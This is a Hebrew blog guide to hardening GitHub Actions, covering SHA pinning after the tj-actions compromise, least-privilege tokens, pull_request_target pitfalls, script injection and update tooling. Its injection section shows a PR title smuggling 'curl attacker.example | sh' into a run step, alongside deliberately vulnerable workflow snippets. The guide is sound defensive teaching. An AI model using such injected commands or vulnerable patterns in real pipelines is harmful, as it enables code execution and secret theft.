[ טוען... ]

אבטחת GitHub Actions: הצמדה ל-SHA והקשחת workflows

תאריך: 12.11.2026
זמן קריאה: 17 דקות
לידור כהן
מייסד, לידור דיגיטל

שיתוף:

הירשמו לניוזלטר - תובנות על אוטומציה ו-AI, בלי ספאם

איור של צינור CI/CD עם מנעולים על כל שלב, המסמל הצמדת GitHub Actions ל-commit SHA והקשחת workflows

כל workflow ב-GitHub Actions מריץ קוד של צד שלישי, ולקוד הזה יש גישה לסודות של הפרויקט ול-GITHUB_TOKEN שנוצר אוטומטית. לכן אבטחת GitHub Actions היא חלק מהגנת הפרויקט עצמו, ולא תוספת. action אחד שנפרץ יכול להפוך את צינור ה-CI למנגנון שמדליף מפתחות API, טוקנים של פריסה וסיסמאות למסדי נתונים.

במרץ 2025 זה קרה בקנה מידה גדול. ה-action הפופולרי tj-actions/changed-files נפרץ, תגיות הגרסה שלו הוסטו לקוד זדוני, וסודות נחשפו בלוגים של כ-23,000 מאגרים (Safeguard). רוב הצוותים שנפגעו לא שינו שורת קוד אחת. הם השתמשו בתגית גרסה רגילה, וזה הספיק.

המדריך מיועד לצוותי פיתוח קטנים ולסוכנויות שאין להם מהנדס אבטחה ייעודי. הוא עובר על הצמדת actions ל-commit SHA, הגדרת הרשאות GITHUB_TOKEN מינימליות, המלכודות של pull_request_target, הזרקת סקריפטים ועדכונים אוטומטיים עם Dependabot או Renovate. בסופו יש workflow מוקשח לפרויקט Next.js שאפשר להעתיק ולהתאים.

למה GitHub Actions הוא משטח תקיפה: הלקח מ-tj-actions

קל לחשוב על קובץ YAML בתיקיית .github/workflows כעל קונפיגורציה בלבד. בפועל כל שורת uses: מושכת קוד ממאגר חיצוני ומריצה אותו על runner. ל-runner יש גישה לקוד המקור, לסודות שהוגדרו ב-repository ולטוקן שיכול לבצע פעולות ב-GitHub בשם ה-workflow.

מה קרה ב-tj-actions/changed-files

באירוע שקיבל את המזהה CVE-2025-30066, התוקפים לא פרסמו גרסה חדשה וחשודה. הם הזיזו תגיות גרסה קיימות כך שיצביעו על קומיט זדוני. הקוד הזדוני שפך את הזיכרון של ה-runner והדפיס סודות לתוך לוגי ה-build (Safeguard).

לפי Christian Emmer, דווח שיותר מ-350 תגיות Git עודכנו כך שיצביעו על הקומיט הזדוני. ניתוח אחר מדבר על יותר מ-45 גרסאות (v1 עד v45). המספרים משתנים בין המקורות, אבל המנגנון זהה בכולם: מי שהפנה לתגית קיבל קוד אחר ממה שבדק בעבר, בלי שום שינוי מצדו.

למה זה קריטי במיוחד לסוכנויות ולצוותים קטנים

סוכנות שמנהלת עשרות פרויקטים של לקוחות מחזיקה בדרך כלל סודות רגישים בכל אחד מהם: טוקנים של Vercel, מפתחות ענן, מפתחות ל-API של סליקה ו-CRM. פריצה ל-action אחד שנמצא בשימוש בכל הפרויקטים יכולה לחשוף את כל הלקוחות בבת אחת.

לצוותים קטנים יש גם בעיה מבנית. אין מי שבודק את קובצי ה-workflow באופן שיטתי, ותבנית שהועתקה לפני שנתיים ממשיכה להיות משוכפלת לכל פרויקט חדש. לכן צ'קליסט קצר וקונפיגורציה מוכנה להעתקה שווים יותר מתיאוריה. מסגרת רחבה יותר לנושא מופיעה בצ'קליסט אבטחת שרשרת אספקה לצוותים קטנים.

ארבעה וקטורי תקיפה מרכזיים

  • תגיות משתנות: הפניה כמו @v4 יכולה להצביע מחר על קוד אחר.
  • טוקן עם הרשאות יתר: GITHUB_TOKEN שיכול לכתוב לכל מקום מגדיל את הנזק של כל פריצה.
  • טריגרים מסוכנים: pull_request_target שמריץ קוד מ-fork עם גישה לסודות.
  • קלט לא מהימן: כותרות PR, שמות ענפים ותוכן issues שמוזרקים ישירות לסקריפט shell.

כל אחד מהסעיפים הבאים מטפל באחד מהווקטורים האלה.

הצמדת actions ל-commit SHA: הצעד הראשון באבטחת GitHub Actions

הצמדה ל-commit SHA מלא היא האמצעי היעיל ביותר מול תקיפות מהסוג של tj-actions. לפי StepSecurity, הצמדה ל-SHA באורך מלא מבטיחה שירוץ בדיוק אותו קוד, גם אם תגית הגרסה או הקוד של ה-action ישתנו בהמשך. זו האפשרות עם רמת האבטחה הגבוהה ביותר.

למה תגית כמו @v4 אינה מספיקה

תגיות ב-Git ניתנות להזזה. אפשר לבצע להן force-push או להפנות אותן מחדש לקומיט אחר (Cloud Native Engineer). מתחזק שהחשבון שלו נפרץ יכול לגרום ל-workflow שלכם להריץ קוד זדוני בלי שום שינוי בצד שלכם (Safeguard).

הצמדה ל-SHA מגינה מפני מה שמכונה תקיפת retargeting (Emmer). SHA של קומיט הוא hash של התוכן, ולכן אי אפשר לשנות את הקוד שמאחוריו בלי לקבל SHA אחר.

נקודה שרבים מפספסים: גם actions/checkout, שמתפרסם על ידי GitHub עצמה, נחשב צד שלישי, כי הוא נמצא מחוץ למאגר שלכם (Emmer). ההמלצה חלה על כל action חיצוני, לא רק על actions של מפתחים אנונימיים.

הפורמט המומלץ: SHA עם הערת גרסה

SHA של 40 תווים לא אומר לבני אדם כלום. לכן הסגנון המקובל הוא SHA מלא ואחריו הערה עם הגרסה הקריאה (Emmer):

# לפני: תגית משתנה
- uses: actions/checkout@v5

# אחרי: SHA מלא בן 40 תווים + הערת גרסה
- uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0

חשוב להשתמש ב-SHA מלא באורך 40 תווים, ולא בגרסה מקוצרת (Safeguard). ההערה בסוף השורה משמשת גם את כלי העדכון האוטומטיים, שיודעים לעדכן אותה יחד עם ה-SHA.

לפני שמעתיקים SHA מכל מדריך, כולל זה, כדאי לאמת אותו מול דף ה-release הרשמי של ה-action. ערכי SHA שמופיעים במאמרים עלולים להתיישן או להכיל טעויות.

איך מוצאים את ה-SHA של תגית

יש שתי דרכים פשוטות (Emmer):

  1. דף ה-release: בדף ה-releases של ה-action ב-GitHub, ליד כל גרסה מופיע הקומיט שאליו היא מצביעה.
  2. GitHub REST API: נקודת הקצה repos/{owner}/{repo}/tags מחזירה את כל התגיות עם ה-SHA של הקומיט.

עם GitHub CLI זה נראה כך:

# שליפת ה-SHA של תגית ספציפית ב-actions/checkout
gh api repos/actions/checkout/tags --paginate \
  --jq '.[] | select(.name=="v5.0.0") | .commit.sha'

בלי CLI אפשר לבצע בקשה ישירה:

curl -s https://api.github.com/repos/actions/checkout/tags \
  | jq -r '.[] | select(.name=="v5.0.0") | .commit.sha'

תלויות טרנזיטיביות: ההצמדה לא נעצרת ברמה העליונה

הצמדה של ה-action שאתם קוראים לו ישירות אינה מספיקה. אם action מוצמד משתמש בעצמו ב-actions אחרים שאינם מוצמדים, אתם עדיין חשופים דרך התלויות הטרנזיטיביות (Adan Alvarez).

זה נכון במיוחד ל-composite actions, שמורכבים מצעדים שקוראים ל-actions נוספים. כשבוחרים action חיצוני, כדאי להציץ בקובץ action.yml שלו ולבדוק אם הוא מצמיד את התלויות שלו.

המצב בתעשייה רחוק מלהיות טוב. בניתוח של 100 פרויקטי אבטחה פופולריים בקוד פתוח נמצא שרק 7 הצמידו את כל ה-actions ל-SHA (12 אם סופרים גם actions של יוצרים מהימנים), ו-51 לא הצמידו אף action (Adan Alvarez). אם זה המצב בפרויקטים שעוסקים באבטחה, סביר להניח שבפרויקטים רגילים התמונה דומה או גרועה יותר.

השוואה: תגית מול SHA

קריטריון

תגית גרסה (@v4)

SHA מלא

קריאות

גבוהה

נמוכה, דורשת הערת גרסה

שינוי הקוד מאחורי ההפניה

אפשרי (force-push, retargeting)

בלתי אפשרי

הגנה מפני תקיפה בסגנון tj-actions

אין

יש

עדכון לגרסה חדשה

אוטומטי, בלי בקרה

דורש PR, רצוי עם אוטומציה

שחזוריות של builds

חלקית

מלאה

מקור ההשוואה: Cloud Native Engineer.

מי שמפרסם actions משלו יכול לתרום לפתרון מהצד השני: מומלץ להפעיל ב-repository את מנגנון ה-immutable releases של GitHub (Emmer).

הרשאות GITHUB_TOKEN לפי עיקרון ההרשאה המינימלית

בכל ריצה GitHub יוצר GITHUB_TOKEN שמאפשר ל-workflow לבצע פעולות ב-repository. ההרשאות האפקטיביות שלו תלויות בהגדרות ברמת ה-repository, הארגון או ה-enterprise (Java Code Geeks). המשמעות: אותו קובץ YAML יכול לקבל הרשאות שונות בשני מאגרים שונים.

למה להגדיר הרשאות במפורש

לפי Safeguard, מאז 2023 ברירת המחדל במאגרים חדשים היא טוקן לקריאה בלבד. זה מקור יחיד, והגדרות ארגון או enterprise יכולות לשנות את ברירת המחדל. מאגרים ותיקים במיוחד עשויים עדיין לעבוד עם הרשאות רחבות.

הפתרון פשוט: להצהיר על ההרשאות בתוך ה-workflow עצמו. הצהרה מפורשת הופכת את הקובץ לניתן לבדיקה, וכל מי שקורא אותו רואה בדיוק מה מותר (Java Code Geeks). ההמלצה החד-משמעית היא להימנע מ-permissions: write-all.

התבנית המומלצת: קריאה בלבד כברירת מחדל

מגדירים contents: read ברמת ה-workflow, ונותנים הרשאות כתיבה רק ל-job הספציפי שצריך אותן, למשל job של release (Safeguard):

name: CI and Release

on:
  push:
    branches: [main]

# ברירת מחדל לכל ה-jobs: קריאה בלבד
permissions:
  contents: read

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0
      - run: npm ci && npm test

  release:
    needs: test
    runs-on: ubuntu-latest
    # רק ה-job הזה מקבל הרשאת כתיבה
    permissions:
      contents: write
    steps:
      - uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0
      - run: echo Creating release...

ארבעת עקרונות ה-least privilege

Java Code Geeks מסכם את הגישה בארבעה עקרונות:

  • חסימה כברירת מחדל: מתחילים מכלום או מקריאה בלבד.
  • הענקה מפורשת: כל הרשאה נוספת כתובה בקובץ, עם סיבה ברורה.
  • העדפה לרמת ה-job: הרשאות ברמת ה-job ולא ברמת ה-workflow כולו.
  • הפרדת תפקידים: jobs של CI לקריאה בלבד נפרדים מ-jobs מורשים של publish או deploy.

העיקרון האחרון חשוב במיוחד. ה-job שמריץ npm ci ומתקין מאות חבילות מ-npm הוא החשוף ביותר לקוד זדוני, ולכן הוא צריך את ההרשאות המינימליות ביותר. ה-job שמבצע פריסה צריך לרוץ רק אחרי שהבדיקות עברו, ורק על הענף הראשי.

pull_request_target והזרקת סקריפטים: טיפול בקלט לא מהימן

שני הווקטורים הבאים קשורים זה לזה: שניהם נוגעים למצב שבו נתונים שנשלטים על ידי גורם חיצוני מגיעים לסביבה שיש בה סודות.

ההבדל בין pull_request ל-pull_request_target

כאשר מישהו פותח PR מ-fork, הטריגר הרגיל pull_request מריץ את ה-workflow עם טוקן לקריאה בלבד וללא גישה לסודות. ההתנהגות הזו בטוחה מעצם התכנון (github/awesome-copilot).

הטריגר pull_request_target עובד אחרת: הוא רץ בהקשר של מאגר הבסיס, עם הסודות שלו (Safeguard). הוא נועד למשימות כמו הוספת תוויות או תגובות אוטומטיות ל-PR, שבהן לא מריצים את הקוד של התורם.

הדפוס המסוכן

הבעיה מתחילה כש-workflow עם pull_request_target מבצע checkout לקוד של ה-PR ומריץ אותו. זה נראה בערך כך:

# דוגמה מסוכנת: אין להשתמש!
on: pull_request_target

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0
        with:
          ref: ${{ github.event.pull_request.head.sha }}
      - run: npm install && npm test

במקרה כזה תוקף יכול לפתוח PR שמשנה את package.json או מוסיף סקריפט postinstall, וכך להריץ קוד משלו בסביבה שיש בה את הסודות של המאגר ולשלוף אותם החוצה (Safeguard).

הכללים פשוטים:

  • לבנייה ולבדיקה של קוד מ-fork משתמשים ב-pull_request הרגיל.
  • אם pull_request_target נחוץ באמת, אף פעם לא מבצעים checkout ל-head ref של ה-PR.
  • workflow עם pull_request_target צריך גם הוא הצהרת permissions מינימלית.

הזרקת סקריפט דרך ${{ }}

הווקטור השני עדין יותר. ביטויי ${{ }} מוחלפים בערכים שלהם לפני שסקריפט ה-shell רץ. לכן ערכים שנשלטים על ידי תוקף, כמו כותרות של issues ו-PRs או שמות ענפים, הופכים לחלק מהקוד (github/awesome-copilot).

דוגמה פגיעה:

# פגיע: כותרת ה-PR נכנסת ישירות לסקריפט
- name: Print PR title
  run: echo PR title is ${{ github.event.pull_request.title }}

כותרת PR שמכילה משהו כמו x; curl attacker.example | sh תהפוך לפקודה שרצה על ה-runner. הפתרון הוא להעביר ערכים לא מהימנים דרך משתני סביבה במקום להטמיע אותם בטקסט הסקריפט (github/awesome-copilot):

# בטוח: הערך מגיע כמשתנה סביבה ולא כחלק מהקוד
- name: Print PR title
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  run: echo "PR title is $PR_TITLE"

בגרסה הבטוחה ה-shell מקבל את הכותרת כמחרוזת בתוך משתנה, ולא מפרש אותה כפקודה. העיקרון דומה מאוד לבעיה של הזרקת פרומפט בסוכני AI, שבה טקסט שנראה תמים הופך להוראות. הרחבה על כך יש במאמר על הזרקת פרומפט עקיפה בסוכני קוד.

שדות שכדאי להתייחס אליהם כלא מהימנים:

  • כותרת וגוף של PR ושל issue.
  • תוכן תגובות.
  • שמות ענפים (head_ref).
  • הודעות קומיט ושמות מחברים.

Dependabot ל-GitHub Actions או Renovate: עדכונים בלי לוותר על ההצמדה

הטיעון הנפוץ נגד הצמדה ל-SHA הוא שהיא מקבעת גרסאות ישנות, כולל באגים וחולשות שכבר תוקנו. הטיעון נכון רק אם העדכון ידני. הפתרון הוא להשאיר את ההצמדה ולהעביר את העדכונים לכלי אוטומטי, כך שכל גרסה חדשה מגיעה כ-pull request שעובר review.

Dependabot

Dependabot מובנה ב-GitHub ויכול לשמור על ה-SHA מעודכנים באמצעות pull requests שעוברים בדיקה (Safeguard). המקורות שבתדריך לא מפרטים קונפיגורציה, ולכן הדוגמה הבאה מבוססת על המבנה הסטנדרטי של dependabot.yml. כדאי לאמת אותה מול התיעוד הרשמי של GitHub:

# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: github-actions
    directory: /
    schedule:
      interval: weekly

  - package-ecosystem: npm
    directory: /
    schedule:
      interval: weekly

הרשומה הראשונה מטפלת בקובצי ה-workflow, והשנייה בתלויות npm של פרויקט ה-Next.js.

Renovate

Renovate מציע preset בשם helpers:pinGitHubActionDigestsToSemver, שמצמיד כל GitHub Action ל-commit SHA ושומר על הערת הגרסה הקריאה מעודכנת (Emmer). היתרון הגדול שלו הוא שהוא לא רק מעדכן הצמדות קיימות, אלא גם ממיר באופן אוטומטי הפניות לתגיות ל-SHA:

{
  "$schema": "https://docs.renovatebot.com/renovate-schema.json",
  "extends": [
    "config:recommended",
    "helpers:pinGitHubActionDigestsToSemver"
  ],
  "packageRules": [
    {
      "matchManagers": ["github-actions"],
      "automerge": false
    }
  ]
}

זהירות עם auto-merge

הכלל automerge: false בדוגמה לא נמצא שם במקרה. לפי ניתוח של חוקר שפורסם ב-LinkedIn (פוסט, לא מקור ראשוני), ייתכן שמאגרים שהפעילו מיזוג אוטומטי ל-PRs של Renovate הריצו את התקיפה של tj-actions באופן אוטומטי. לפי Emmer, הקומיט הזדוני אף חיקה פעילות של Renovate.

המסקנה: כלי עדכון אוטומטי מחליף את העבודה הידנית של מציאת גרסאות, אבל לא את שיקול הדעת. PR שמעדכן action צריך לעבור עין אנושית, לפחות בבדיקה של ה-changelog ושל מקור השינוי.

השוואה: Dependabot מול Renovate

קריטריון

Dependabot

Renovate

התקנה

מובנה ב-GitHub

דורש הגדרה נוספת (קובץ renovate.json או renovate.json5)

עדכון SHA מוצמדים

כן, באמצעות PRs

כן, באמצעות PRs

המרה אוטומטית של תגיות ל-SHA

לא מפורט במקורות

כן, עם helpers:pinGitHubActionDigestsToSemver

שמירה על הערת הגרסה

כן

כן

סיכון עיקרי

זהה: מיזוג בלי review

זהה: auto-merge של PRs

מקורות: Emmer, Safeguard. חלק מהכותבים רואים ב-Renovate כלי מתקדם יותר, אבל זו העדפה אישית ולא קביעה גורפת. לצוות קטן שרוצה להתחיל מהר, Dependabot מספיק כנקודת פתיחה.

שכבות הגנה נוספות: OIDC, תעבורה יוצאת ו-runners

הצמדה, הרשאות וטיפול בקלט הם הבסיס. מעליהם יש שלוש שכבות שמצמצמות את הנזק גם אם משהו עדיין משתבש.

OIDC במקום סודות קבועים

OIDC מאפשר ל-workflow לקבל מספק הענן אישורי גישה קצרי טווח במקום לשמור סודות ארוכי טווח ב-repository. StepSecurity ממליצים להשתמש בו בכל מקום שאפשר (StepSecurity).

ההיגיון פשוט: אישור שפג תוקפו תוך זמן קצר שווה הרבה פחות לתוקף מאשר מפתח שתקף לשנים. ב-workflow זה דורש הרשאת id-token: write, וגם אותה כדאי לתת רק ל-job שמבצע את הפריסה.

אם סוד כבר דלף, הצמדה לא תעזור בדיעבד. נדרשת רוטציה מסודרת של כל המפתחות שהיו זמינים ל-workflow. תהליך כזה מתואר במאמר על דליפת משתני סביבה ורוטציית סודות.

בקרת תעבורה יוצאת

בתקיפה של tj-actions הסודות דלפו ללוגים, אבל בתקיפות אחרות קוד זדוני מנסה לשלוח אותם לשרת חיצוני. סוכני runtime כמו harden-runner של StepSecurity יכולים לאכוף רשימת יעדים מותרים לתעבורה יוצאת (Safeguard).

דרך עבודה מעשית היא להתחיל במצב audit, לראות לאילו דומיינים ה-build פונה בפועל (npm registry, GitHub וכדומה), ורק אחר כך לעבור לחסימה.

Runners: זמניים עדיפים, self-hosted לא במאגרים ציבוריים

לפי Safeguard, runners זמניים (ephemeral) עדיפים, ואין להשתמש ב-self-hosted runners במאגרים ציבוריים. runner קבוע שמריץ קוד מ-PRs של זרים עלול להשאיר אחריו קבצים, תהליכים או אישורים שישפיעו על ריצות הבאות.

לרוב הצוותים הקטנים ה-runners המנוהלים של GitHub מספיקים, והם זמניים מעצם הגדרתם.

Workflow מוקשח ל-Next.js: דוגמה להעתקה

הדוגמה הבאה מרכיבה את כל העקרונות לקובץ אחד לפרויקט Next.js. היא נבנתה מתוך העקרונות שבמקורות ולא הועתקה ממקור אחד, ולכן יש לבדוק אותה בפרויקט שלכם לפני שמסתמכים עליה. ה-SHA של actions/checkout לקוח מ-Emmer. בשאר ה-actions מופיע placeholder שיש להחליף ב-SHA המלא של הגרסה העדכנית, לפי שיטת האיתור שתוארה למעלה.

# .github/workflows/ci.yml
name: CI

on:
  pull_request:
    branches: [main]
  push:
    branches: [main]

# ברירת מחדל: קריאה בלבד לכל ה-jobs
permissions:
  contents: read

# ביטול ריצות כפולות על אותו ענף
concurrency:
  group: ci-${{ github.ref }}
  cancel-in-progress: true

jobs:
  build:
    name: Lint, typecheck and build
    runs-on: ubuntu-latest
    timeout-minutes: 15
    permissions:
      contents: read
    steps:
      - name: Harden runner
        uses: step-security/harden-runner@REPLACE_WITH_FULL_40_CHAR_SHA # vX.Y.Z
        with:
          egress-policy: audit

      - name: Checkout
        uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0
        with:
          persist-credentials: false

      - name: Setup Node.js
        uses: actions/setup-node@REPLACE_WITH_FULL_40_CHAR_SHA # vX.Y.Z
        with:
          node-version: 20
          cache: npm

      - name: Install dependencies
        run: npm ci

      - name: Lint
        run: npm run lint

      - name: Typecheck
        run: npx tsc --noEmit

      - name: Build
        run: npm run build
        env:
          NEXT_TELEMETRY_DISABLED: 1

  deploy:
    name: Deploy
    needs: build
    if: github.event_name == 'push' && github.ref == 'refs/heads/main'
    runs-on: ubuntu-latest
    environment: production
    permissions:
      contents: read
      id-token: write   # רק אם הפריסה משתמשת ב-OIDC
    steps:
      - name: Checkout
        uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0
        with:
          persist-credentials: false
      # כאן מגיעים צעדי הפריסה לספק שלכם

מה כל חלק עושה

  • טריגר pull_request ולא pull_request_target: PRs מ-forks רצים עם טוקן לקריאה בלבד וללא סודות.
  • permissions: contents: read: ברירת מחדל מינימלית, מוצהרת במפורש בקובץ.
  • harden-runner במצב audit: מתעד תעבורה יוצאת. אחרי תקופת היכרות אפשר לעבור לחסימה עם רשימת יעדים מותרים.
  • persist-credentials: false: אפשרות של actions/checkout שמונעת שמירה של הטוקן בהגדרות git המקומיות של ה-runner, כך שצעדים מאוחרים יותר לא יוכלו להשתמש בו.
  • npm ci: התקנה לפי ה-lockfile בדיוק, ללא פתרון גרסאות מחדש.
  • job נפרד ל-deploy: רץ רק אחרי build מוצלח, רק על push ל-main, עם environment שאפשר להגן עליו בכללי אישור.
  • id-token: write רק ב-deploy: אם הפריסה עובדת עם OIDC, ההרשאה הזו לא דולפת ל-job שמתקין חבילות מ-npm.

הערה לפרויקטים על Vercel: אם הפריסה מתבצעת דרך האינטגרציה של Vercel עם Git, ה-workflow לא צריך שום טוקן של Vercel. במקרה כזה אפשר למחוק את ה-job של deploy ולהשאיר את ה-CI לבדיקות בלבד, וזו הגדרה בטוחה יותר מאשר להחזיק טוקן פריסה ב-secrets.

אם ה-build צריך משתני סביבה ציבוריים, כמו NEXT_PUBLIC_*, עדיף להשתמש בערכים לא רגישים או בערכי דמה בשלב ה-CI. סודות אמיתיים צריכים להגיע רק ל-job שבאמת צריך אותם.

צ'קליסט הקשחה לצוותים קטנים

צ'קליסט שאפשר לעבור עליו בכל פרויקט, בערך שעה עבודה למאגר:

  1. לסרוק את כל קובצי .github/workflows ולאתר כל uses: שמפנה לתגית או לענף.
  2. להחליף כל הפניה כזו ב-SHA מלא בן 40 תווים עם הערת גרסה, כולל actions של GitHub עצמה.
  3. לבדוק את action.yml של actions חיצוניים מרכזיים כדי לוודא שגם התלויות שלהם מוצמדות.
  4. להוסיף permissions: contents: read בראש כל workflow, ולהעביר הרשאות כתיבה לרמת ה-job.
  5. לחפש pull_request_target ולוודא שאין checkout ל-head ref של ה-PR.
  6. לחפש ${{ github.event בתוך שורות run: ולהעביר ערכים לא מהימנים למשתני סביבה.
  7. להגדיר Dependabot או Renovate לאקוסיסטם github-actions, בלי auto-merge.
  8. להחליף סודות ענן קבועים ב-OIDC כשהספק תומך בכך.
  9. להוסיף harden-runner במצב audit, ולעבור לחסימה אחרי שמיפוי הדומיינים יציב.
  10. לא להשתמש ב-self-hosted runners במאגרים ציבוריים.

לסוכנויות כדאי לבנות workflow תבנית אחד מוקשח ולהשתמש בו כבסיס לכל פרויקט לקוח חדש, במקום לתחזק עשרות גרסאות שונות. בקריאת קובצי YAML בעורך שמוגדר לעברית, כדאי לזכור ש-SHA, מזהים ונתיבים הם טקסט משמאל לימין. הערות בעברית בתוך YAML עובדות היטב, אבל עדיף לשמור אותן בשורות נפרדות ולא באמצע ערכים, כדי שהתצוגה הדו-כיוונית לא תבלבל.

שאלות נפוצות

למה להצמיד actions ל-commit SHA ולא להשתמש ב-@v4?

תגיות ניתנות להזזה ול-force-push. מתחזק שהחשבון שלו נפרץ יכול לגרום ל-workflow שלכם להריץ קוד זדוני בלי שום שינוי מצדכם. SHA מלא הוא בלתי ניתן לשינוי (Safeguard). זה בדיוק המנגנון שנוצל בתקיפה על tj-actions.

האם הצמדה ל-SHA הופכת את ה-CI לבטוח לחלוטין?

לא. תלויות טרנזיטיביות של action מוצמד עשויות להישאר לא מוצמדות (Adan Alvarez). צריך גם הרשאות מינימליות, טיפול בטוח בקלט לא מהימן וזהירות עם טריגרים. הצמדה גם לא מגינה מפני גרסה זדונית שאישרתם בעצמכם בעדכון, ולכן review של PRs עדכון חשוב.

איך מגדירים את GITHUB_TOKEN להרשאה מינימלית?

מצהירים permissions: contents: read ברמת ה-workflow, ונותנים הרשאות כתיבה רק ל-jobs הספציפיים שצריכים אותן. נמנעים מ-write-all (Safeguard). כדאי להצהיר גם אם ברירת המחדל במאגר כבר מוגבלת, כי הגדרות ארגון יכולות להשתנות.

למה pull_request_target מסוכן?

הוא רץ עם הסודות של מאגר הבסיס. checkout והרצה של קוד מ-fork תחת הטריגר הזה מאפשרים לתוקף לגנוב סודות. לקוד מ-forks משתמשים ב-pull_request, ותחת pull_request_target אף פעם לא מבצעים checkout ל-head ref (Safeguard).

איך מונעים מה-SHA המוצמדים להתיישן?

משתמשים ב-Renovate עם helpers:pinGitHubActionDigestsToSemver או ב-Dependabot. כך עדכונים מגיעים כ-pull requests שעוברים review, והערת הגרסה נשמרת מעודכנת (Emmer).

איך מוצאים את ה-SHA של תגית מסוימת?

בודקים בדף ה-release של ה-action, או שולחים בקשה ל-endpoint התגיות של ה-GitHub REST API (repos/{owner}/{repo}/tags) ומסננים לפי שם התגית (Emmer).

סיכום

אבטחת GitHub Actions לא דורשת צוות אבטחה ייעודי. היא דורשת כמה החלטות שמתקבלות פעם אחת ומיושמות בעקביות. האירוע של tj-actions הראה שתגית גרסה היא הבטחה שאפשר להפר, ושצוותים יכולים להיפגע בלי לגעת בקוד שלהם.

סדר העבודה המומלץ:

  • קודם כול: הצמדת כל ה-actions ל-SHA מלא עם הערת גרסה.
  • מיד אחר כך: permissions: contents: read כברירת מחדל והרשאות כתיבה ברמת ה-job.
  • בדיקת סיכונים: איתור pull_request_target מסוכן והזרקות ${{ }} בתוך run:.
  • תחזוקה: Dependabot או Renovate, עם review ובלי auto-merge.
  • שכבות נוספות: OIDC, בקרת תעבורה יוצאת ו-runners זמניים.

ה-workflow לדוגמה מספק נקודת פתיחה לפרויקט Next.js. לאחר החלפת ה-placeholders ב-SHA מאומתים ובדיקה בפרויקט עצמו, הוא יכול לשמש תבנית לכל מאגר חדש. לנושאים קרובים של דליפת סודות בסביבות פיתוח אפשר לעיין גם במאמר על דליפת סודות ב-Claude Code ל-GitHub.

מקורות

וואטסאפ